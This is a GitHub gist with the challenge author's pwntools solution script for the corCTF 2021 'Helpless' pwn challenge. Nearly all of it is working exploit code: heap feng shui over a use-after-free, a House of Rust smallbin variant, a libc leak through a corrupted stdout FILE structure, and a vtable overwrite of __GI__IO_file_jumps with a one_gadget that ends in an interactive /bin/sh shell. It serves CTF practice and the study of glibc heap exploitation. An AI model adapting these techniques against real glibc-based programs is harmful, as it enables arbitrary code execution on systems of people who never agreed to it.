Last active
December 6, 2022 20:04
-
-
Save c4ebt/d5989f17c06155b3d2550f9e6c70394c to your computer and use it in GitHub Desktop.
corCTF 2021 Helpless solution by c4e (author)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# corCTF 2021 Helpless solution by c4e (author) | |
# there are many different techniques that can be used to solve Helpless because of | |
# the nature of the challenge (UAF, variety of sizes allowed) | |
# My solution uses a House of Rust smallbin variation and then finishes the exploit off | |
# with a standard __GI__IO_file_jumps fsop triggered with stdout. | |
# feel free to dm me on discord if you want to discuss the solution. c4e#1255 | |
from pwn import * | |
from time import sleep | |
context.log_level = "DEBUG" | |
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] | |
libc = ELF("./libc.so.6") | |
elf = ELF("./helpless") | |
#p = gdb.debug(elf.path, "c") | |
p = process(elf.path) | |
#p = remote("35.208.182.172", 5002) | |
def alloc(ind, size=24, data="\n", stdout=True): | |
if stdout: | |
p.sendlineafter("Action:", "1") | |
p.sendlineafter("index:", str(ind)) | |
p.sendlineafter("length:", str(size)) | |
p.sendafter("Details:", data) | |
else: | |
sleep(1) | |
p.sendline("1") | |
sleep(1) | |
p.sendline(str(ind)) | |
sleep(1) | |
p.sendline(str(size)) | |
sleep(1) | |
p.send(data) | |
sleep(1) | |
def free(ind, stdout=True): | |
if stdout: | |
p.sendlineafter("Action:", "2") | |
p.sendlineafter("index:", str(ind)) | |
else: | |
sleep(1) | |
p.sendline("2") | |
sleep(1) | |
p.sendline(str(ind)) | |
sleep(1) | |
def edit(ind, data, stdout=True): | |
if stdout: | |
p.sendlineafter("Action:", "3") | |
p.sendlineafter("index", str(ind)) | |
p.sendafter("Details:", data) | |
else: | |
sleep(1) | |
p.sendline("3") | |
sleep(1) | |
p.sendline(str(ind)) | |
sleep(1) | |
p.send(data) | |
sleep(1) | |
def sort(): | |
alloc(99, 0x1000) | |
free(99) | |
# ideas for 2.34 tcacke_key hardening patch | |
# have the first chunk be a smallbin sized that is freed later and | |
# overwrite the next smallbin chunk's bk 0 | |
# this would make it pretty much like the old tcache key but it would point to | |
# 0x'200 instead of 0x'000. This should still be a useful primitive since a bigger | |
# tcache could be used to poison into stdout and then win. | |
# new patch removes hooks but the vtable mapping perms bug is still present | |
# so we can just use the standard __GI__IO_file_jumps fsop to finish it off. | |
alloc(0, 0x930) | |
alloc(81, 0x500, "asdf") # for large1 | |
free(0) | |
free(81) | |
alloc(0, 0x1f40) | |
alloc(82, 0x500, "asdf") | |
free(0) | |
free(82) | |
alloc(0, 0x88) | |
alloc(80, 0x98, "\x00"*8 + "\x91") | |
for i in range(14): | |
alloc(i+1, 0x88) | |
alloc(15, 0x18) | |
alloc(16, 0x428) # large1 | |
alloc(17, 0x18) | |
alloc(18, 0x418) # large2 | |
alloc(19, 0x368) # for tps | |
#alloc(19, 0x18) | |
alloc(83, 0xa8) | |
for i in range(15): # need 15 because tsu not + | |
alloc(50+i, 0x98) | |
alloc(65, 0x18) | |
alloc(66, 0x448) | |
alloc(67, 0x18) | |
alloc(68, 0x438) | |
alloc(69, 0x18) | |
alloc(84, 0x358) # for count for _IO_2_1_stdout poison | |
alloc(85, 0x368) # for count for __GI__IO_file_jumps poison | |
# feng shui ends here, start of first tsu+ into tps for chunk | |
for i in range(7): | |
free(2*i+1) | |
for i in range(7): | |
free(2*i+2) | |
free(0) | |
free(16) | |
sort() | |
edit(81, "\x00"*9) | |
edit(14, "\x00"*8 + "\x20") | |
free(18) | |
sort() | |
edit(18, p64(0) + b"\x10") | |
for i in range(7): | |
alloc(20+i, 0x88) | |
free(19) | |
alloc(27, 0x88) | |
alloc(28, 0x88) # tps1 | |
# tsu for libc pointer into tps starts here | |
# remember feng shui has to be done earlier | |
# just repeat stuff | |
# change smallbin for pointer to 0xa0 sized | |
edit(28, b"\x00"*0x68 + p64(0xa1) + b"\x00"*0x10) | |
for i in range(7): | |
free(2*i+51) | |
for i in range(8): | |
free(2*i+50) | |
free(0) | |
free(66) | |
sort() | |
edit(82, "\x00"*9) | |
edit(64, "\x00"*8 + "\x20") | |
free(68) | |
sort() | |
edit(68, p64(0) + b"\x10") | |
for i in range(7): | |
alloc(40+i, 0x98) | |
free(84) | |
alloc(70, 0x98) | |
edit(28, "\x60\x57") | |
#pause() | |
alloc(86, 0x358, p64(0xfbad1800) + p64(0)*3 + b"\x00") | |
chunk = p.recvrepeat(5) | |
if b"\x7f" in chunk: | |
pos = chunk.find(b"\x7f") | |
elif b"\x7e" in chunk: | |
pos = chunk.find(b"\x7e") | |
else: | |
raise Exception("Failed to find leak") | |
leak = u64(chunk[pos-5:pos+1].ljust(8, b"\x00")) | |
libc.address = leak - 0x1f5720 # 0x1bc744 | |
log.info(hex(leak)) | |
log.info(hex(libc.address)) | |
# will rebuild the stdout FILE structure while changing the _mode to 1 to close activity | |
filler = libc.address + 0x1f37e3 | |
stdout_FILE = (p64(filler)*4 | |
+ p64(filler + 1)*2 | |
+ p64(filler) | |
+ p64(filler + 1) | |
+ p64(0)*4 | |
+ p64(libc.address + 0x1f2a80) | |
+ p64(1) | |
+ p64(0xffffffffffffffff) | |
+ p64(0x000000000a000000) | |
+ p64(libc.address + 0x1f5730) | |
+ p64(0xffffffffffffffff) | |
+ p64(0) | |
+ p64(libc.address + 0x1f2980) | |
+ p64(0)*3 | |
) | |
# missing _flags and _mode but I'm adding them manually to be able to modify them | |
# + p64(1) for _mode, closing stdout activity for now | |
edit(86, p64(0xfbad2887) + stdout_FILE + p32(1), stdout=False) | |
free(85, stdout=False) | |
edit(28, p64(0) + p64(libc.sym.__GI__IO_file_jumps), stdout=False) | |
alloc(87, 0x368, p64(0)*2 # dummies | |
+ p64(libc.address + 0xda7e1) #p64(libc.address + 0x83de0) # __finish | |
+ p64(libc.address + 0xda7e1) # __overflow, one_gadget | |
, stdout=False | |
) | |
edit(86, b"/bin/sh\x00" + stdout_FILE + p32(0xffffffff), stdout=False) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
goddamn